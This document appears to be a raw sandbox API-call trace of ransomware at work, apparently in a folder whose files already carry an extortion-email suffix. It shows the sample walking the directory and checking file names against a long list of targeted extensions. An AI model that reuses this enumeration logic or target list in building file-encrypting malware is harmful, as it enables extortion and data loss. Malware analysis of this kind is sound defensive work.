lstrlenW (lpString=".py") returned 3 [0083.987] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0083.987] lstrlenW (lpString=".qt") returned 3 [0083.987] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0083.987] lstrlenW (lpString=".r3d") returned 4 [0083.987] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0083.987] lstrlenW (lpString=".raf") returned 4 [0083.987] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0083.987] lstrlenW (lpString=".rar") returned 4 [0083.987] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0083.988] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc41d101a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc41d101a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4213c94, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0083.988] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.276] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0084.276] FindClose (in: hFindFile=0x4260610 | out: hFindFile=0x4260610) returned 1 [0084.276] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0084.276] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0084.276] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0084.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26 [0084.277] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc46b24de, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260310 [0084.277] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc46b24de, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.277] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc4666a7a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc4666a7a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4666a7a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0084.277] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0084.277] lstrlenW (lpString=".1cd") returned 4 [0084.277] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0084.277] lstrlenW (lpString=".3ds") returned 4 [0084.277] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0084.277] lstrlenW (lpString=".3fr") returned 4 [0084.277] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0084.277] lstrlenW (lpString=".3g2") returned 4 [0084.277] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0084.277] lstrlenW (lpString=".3gp") returned 4 [0084.277] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0084.277] lstrlenW (lpString=".7z") returned 3 [0084.277] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0084.277] lstrlenW (lpString=".accda") returned 6 [0084.277] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0084.277] lstrlenW (lpString=".accdb") returned 6 [0084.277] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0084.277] lstrlenW (lpString=".accdc") returned 6 [0084.277] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0084.277] lstrlenW (lpString=".accde") returned 6 [0084.277] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0084.277] lstrlenW (lpString=".accdt") returned 6 [0084.277] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0084.278] lstrlenW (lpString=".accdw") returned 6 [0084.278] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0084.278] lstrlenW (lpString=".adb") returned 4 [0084.278] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0084.278] lstrlenW (lpString=".adp") returned 4 [0084.278] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0084.278] lstrlenW (lpString=".ai") returned 3 [0084.278] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0084.278] lstrlenW (lpString=".ai3") returned 4 [0084.278] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0084.278] lstrlenW (lpString=".ai4") returned 4 [0084.278] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0084.278] lstrlenW (lpString=".ai5") returned 4 [0084.278] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0084.278] lstrlenW (lpString=".ai6") returned 4 [0084.278] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0084.278] lstrlenW (lpString=".ai7") returned 4 [0084.278] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0084.278] lstrlenW (lpString=".ai8") returned 4 [0084.278] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0084.278] lstrlenW (lpString=".anim") returned 5 [0084.278] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0084.278] lstrlenW (lpString=".arw") returned 4 [0084.278] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0084.278] lstrlenW (lpString=".as") returned 3 [0084.278] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0084.278] lstrlenW (lpString=".asa") returned 4 [0084.278] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0084.278] lstrlenW (lpString=".asc") returned 4 [0084.278] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0084.279] lstrlenW (lpString=".ascx") returned 5 [0084.279] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0084.279] lstrlenW (lpString=".asm") returned 4 [0084.279] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0084.279] lstrlenW (lpString=".asmx") returned 5 [0084.279] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0084.279] lstrlenW (lpString=".asp") returned 4 [0084.279] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0084.279] lstrlenW (lpString=".aspx") returned 5 [0084.279] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0084.279] lstrlenW (lpString=".asr") returned 4 [0084.279] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0084.279] lstrlenW (lpString=".asx") returned 4 [0084.279] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0084.279] lstrlenW (lpString=".avi") returned 4 [0084.279] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0084.279] lstrlenW (lpString=".avs") returned 4 [0084.279] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0084.279] lstrlenW (lpString=".backup") returned 7 [0084.279] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0084.279] lstrlenW (lpString=".bak") returned 4 [0084.279] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0084.279] lstrlenW (lpString=".bay") returned 4 [0084.279] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0084.279] lstrlenW (lpString=".bd") returned 3 [0084.279] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0084.279] lstrlenW (lpString=".bin") returned 4 [0084.279] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0084.279] lstrlenW (lpString=".bmp") returned 4 [0084.279] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0084.279] lstrlenW (lpString=".bz2") returned 4 [0084.279] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0084.279] lstrlenW (lpString=".c") returned 2 [0084.280] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0084.280] lstrlenW (lpString=".cdr") returned 4 [0084.280] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0084.280] lstrlenW (lpString=".cer") returned 4 [0084.280] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0084.280] lstrlenW (lpString=".cf") returned 3 [0084.280] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0084.280] lstrlenW (lpString=".cfc") returned 4 [0084.280] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0084.280] lstrlenW (lpString=".cfm") returned 4 [0084.280] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0084.280] lstrlenW (lpString=".cfml") returned 5 [0084.280] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0084.280] lstrlenW (lpString=".cfu") returned 4 [0084.280] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0084.280] lstrlenW (lpString=".chm") returned 4 [0084.280] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0084.280] lstrlenW (lpString=".cin") returned 4 [0084.280] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0084.280] lstrlenW (lpString=".class") returned 6 [0084.280] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0084.280] lstrlenW (lpString=".clx") returned 4 [0084.280] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0084.280] lstrlenW (lpString=".config") returned 7 [0084.280] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0084.280] lstrlenW (lpString=".cpp") returned 4 [0084.280] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0084.280] lstrlenW (lpString=".cr2") returned 4 [0084.280] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0084.280] lstrlenW (lpString=".crt") returned 4 [0084.280] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0084.280] lstrlenW (lpString=".crw") returned 4 [0084.281] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0084.281] lstrlenW (lpString=".cs") returned 3 [0084.281] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0084.281] lstrlenW (lpString=".css") returned 4 [0084.281] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0084.281] lstrlenW (lpString=".csv") returned 4 [0084.281] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0084.281] lstrlenW (lpString=".cub") returned 4 [0084.281] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0084.281] lstrlenW (lpString=".dae") returned 4 [0084.281] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0084.281] lstrlenW (lpString=".dat") returned 4 [0084.281] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0084.281] lstrlenW (lpString=".db") returned 3 [0084.281] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0084.281] lstrlenW (lpString=".dbf") returned 4 [0084.281] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0084.281] lstrlenW (lpString=".dbx") returned 4 [0084.281] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0084.281] lstrlenW (lpString=".dc3") returned 4 [0084.281] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0084.281] lstrlenW (lpString=".dcm") returned 4 [0084.281] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0084.281] lstrlenW (lpString=".dcr") returned 4 [0084.281] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0084.281] lstrlenW (lpString=".der") returned 4 [0084.281] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0084.281] lstrlenW (lpString=".dib") returned 4 [0084.281] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0084.281] lstrlenW (lpString=".dic") returned 4 [0084.281] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0084.282] lstrlenW (lpString=".dif") returned 4 [0084.282] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0084.282] lstrlenW (lpString=".divx") returned 5 [0084.282] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0084.282] lstrlenW (lpString=".djvu") returned 5 [0084.282] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0084.282] lstrlenW (lpString=".dng") returned 4 [0084.282] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0084.282] lstrlenW (lpString=".doc") returned 4 [0084.282] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0084.282] lstrlenW (lpString=".docm") returned 5 [0084.282] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0084.282] lstrlenW (lpString=".docx") returned 5 [0084.282] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0084.282] lstrlenW (lpString=".dot") returned 4 [0084.282] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0084.282] lstrlenW (lpString=".dotm") returned 5 [0084.282] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0084.282] lstrlenW (lpString=".dotx") returned 5 [0084.282] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0084.282] lstrlenW (lpString=".dpx") returned 4 [0084.282] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0084.282] lstrlenW (lpString=".dqy") returned 4 [0084.282] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0084.282] lstrlenW (lpString=".dsn") returned 4 [0084.282] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0084.282] lstrlenW (lpString=".dt") returned 3 [0084.282] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0084.283] lstrlenW (lpString=".dtd") returned 4 [0084.283] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0084.283] lstrlenW (lpString=".dwg") returned 4 [0084.283] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0084.283] lstrlenW (lpString=".dwt") returned 4 [0084.283] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0084.283] lstrlenW (lpString=".dx") returned 3 [0084.283] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0084.283] lstrlenW (lpString=".dxf") returned 4 [0084.283] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0084.283] lstrlenW (lpString=".edml") returned 5 [0084.283] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0084.283] lstrlenW (lpString=".efd") returned 4 [0084.283] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0084.283] lstrlenW (lpString=".elf") returned 4 [0084.283] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0084.283] lstrlenW (lpString=".emf") returned 4 [0084.283] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0084.283] lstrlenW (lpString=".emz") returned 4 [0084.283] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0084.283] lstrlenW (lpString=".epf") returned 4 [0084.283] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0084.283] lstrlenW (lpString=".eps") returned 4 [0084.283] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0084.283] lstrlenW (lpString=".epsf") returned 5 [0084.283] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0084.283] lstrlenW (lpString=".epsp") returned 5 [0084.283] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0084.283] lstrlenW (lpString=".erf") returned 4 [0084.284] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0084.284] lstrlenW (lpString=".exr") returned 4 [0084.284] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0084.284] lstrlenW (lpString=".f4v") returned 4 [0084.284] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0084.284] lstrlenW (lpString=".fido") returned 5 [0084.284] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0084.284] lstrlenW (lpString=".flm") returned 4 [0084.284] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0084.284] lstrlenW (lpString=".flv") returned 4 [0084.284] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0084.284] lstrlenW (lpString=".frm") returned 4 [0084.284] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0084.284] lstrlenW (lpString=".fxg") returned 4 [0084.284] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0084.284] lstrlenW (lpString=".geo") returned 4 [0084.284] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0084.284] lstrlenW (lpString=".gif") returned 4 [0084.284] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0084.284] lstrlenW (lpString=".grs") returned 4 [0084.284] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0084.284] lstrlenW (lpString=".gz") returned 3 [0084.284] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0084.284] lstrlenW (lpString=".h") returned 2 [0084.284] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0084.284] lstrlenW (lpString=".hdr") returned 4 [0084.284] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0084.284] lstrlenW (lpString=".hpp") returned 4 [0084.284] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0084.284] lstrlenW (lpString=".hta") returned 4 [0084.285] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0084.285] lstrlenW (lpString=".htc") returned 4 [0084.285] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0084.285] lstrlenW (lpString=".htm") returned 4 [0084.285] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0084.285] lstrlenW (lpString=".html") returned 5 [0084.285] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0084.285] lstrlenW (lpString=".icb") returned 4 [0084.285] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0084.285] lstrlenW (lpString=".ics") returned 4 [0084.285] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0084.285] lstrlenW (lpString=".iff") returned 4 [0084.285] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0084.285] lstrlenW (lpString=".inc") returned 4 [0084.285] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0084.286] lstrlenW (lpString=".indd") returned 5 [0084.286] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0084.286] lstrlenW (lpString=".ini") returned 4 [0084.286] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0084.286] lstrlenW (lpString=".iqy") returned 4 [0084.286] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0084.286] lstrlenW (lpString=".j2c") returned 4 [0084.286] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0084.286] lstrlenW (lpString=".j2k") returned 4 [0084.286] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0084.286] lstrlenW (lpString=".java") returned 5 [0084.286] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0084.286] lstrlenW (lpString=".jp2") returned 4 [0084.286] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0084.286] lstrlenW (lpString=".jpc") returned 4 [0084.286] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0084.286] lstrlenW (lpString=".jpe") returned 4 [0084.286] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0084.286] lstrlenW (lpString=".jpeg") returned 5 [0084.286] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0084.286] lstrlenW (lpString=".jpf") returned 4 [0084.286] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0084.286] lstrlenW (lpString=".jpg") returned 4 [0084.286] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0084.286] lstrlenW (lpString=".jpx") returned 4 [0084.286] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0084.286] lstrlenW (lpString=".js") returned 3 [0084.286] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0084.286] lstrlenW (lpString=".jsf") returned 4 [0084.286] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0084.286] lstrlenW (lpString=".json") returned 5 [0084.287] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0084.287] lstrlenW (lpString=".jsp") returned 4 [0084.287] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0084.287] lstrlenW (lpString=".kdc") returned 4 [0084.287] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0084.287] lstrlenW (lpString=".kmz") returned 4 [0084.287] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0084.287] lstrlenW (lpString=".kwm") returned 4 [0084.287] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0084.287] lstrlenW (lpString=".lasso") returned 6 [0084.287] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0084.287] lstrlenW (lpString=".lbi") returned 4 [0084.287] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0084.287] lstrlenW (lpString=".lgf") returned 4 [0084.287] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0084.287] lstrlenW (lpString=".lgp") returned 4 [0084.287] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0084.287] lstrlenW (lpString=".log") returned 4 [0084.287] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0084.287] lstrlenW (lpString=".m1v") returned 4 [0084.287] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0084.287] lstrlenW (lpString=".m4a") returned 4 [0084.287] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0084.287] lstrlenW (lpString=".m4v") returned 4 [0084.287] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0084.287] lstrlenW (lpString=".max") returned 4 [0084.287] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0084.287] lstrlenW (lpString=".md") returned 3 [0084.287] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0084.288] lstrlenW (lpString=".mda") returned 4 [0084.288] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0084.288] lstrlenW (lpString=".mdb") returned 4 [0084.288] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0084.288] lstrlenW (lpString=".mde") returned 4 [0084.288] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0084.288] lstrlenW (lpString=".mdf") returned 4 [0084.288] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0084.288] lstrlenW (lpString=".mdw") returned 4 [0084.288] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0084.288] lstrlenW (lpString=".mef") returned 4 [0084.288] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0084.288] lstrlenW (lpString=".mft") returned 4 [0084.288] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0084.288] lstrlenW (lpString=".mfw") returned 4 [0084.288] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0084.288] lstrlenW (lpString=".mht") returned 4 [0084.288] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0084.288] lstrlenW (lpString=".mhtml") returned 6 [0084.288] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0084.288] lstrlenW (lpString=".mka") returned 4 [0084.288] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0084.288] lstrlenW (lpString=".mkidx") returned 6 [0084.288] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0084.288] lstrlenW (lpString=".mkv") returned 4 [0084.288] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0084.288] lstrlenW (lpString=".mos") returned 4 [0084.289] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".mov") returned 4 [0084.289] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".mp3") returned 4 [0084.289] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".mp4") returned 4 [0084.289] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".mpeg") returned 5 [0084.289] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0084.289] lstrlenW (lpString=".mpg") returned 4 [0084.289] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".mpv") returned 4 [0084.289] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".mrw") returned 4 [0084.289] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".msg") returned 4 [0084.289] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".mxl") returned 4 [0084.289] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".myd") returned 4 [0084.289] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".myi") returned 4 [0084.289] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".nef") returned 4 [0084.289] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".nrw") returned 4 [0084.289] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".obj") returned 4 [0084.289] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".odb") returned 4 [0084.289] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0084.289] lstrlenW (lpString=".odc") returned 4 [0084.290] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0084.290] lstrlenW (lpString=".odm") returned 4 [0084.290] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0084.290] lstrlenW (lpString=".odp") returned 4 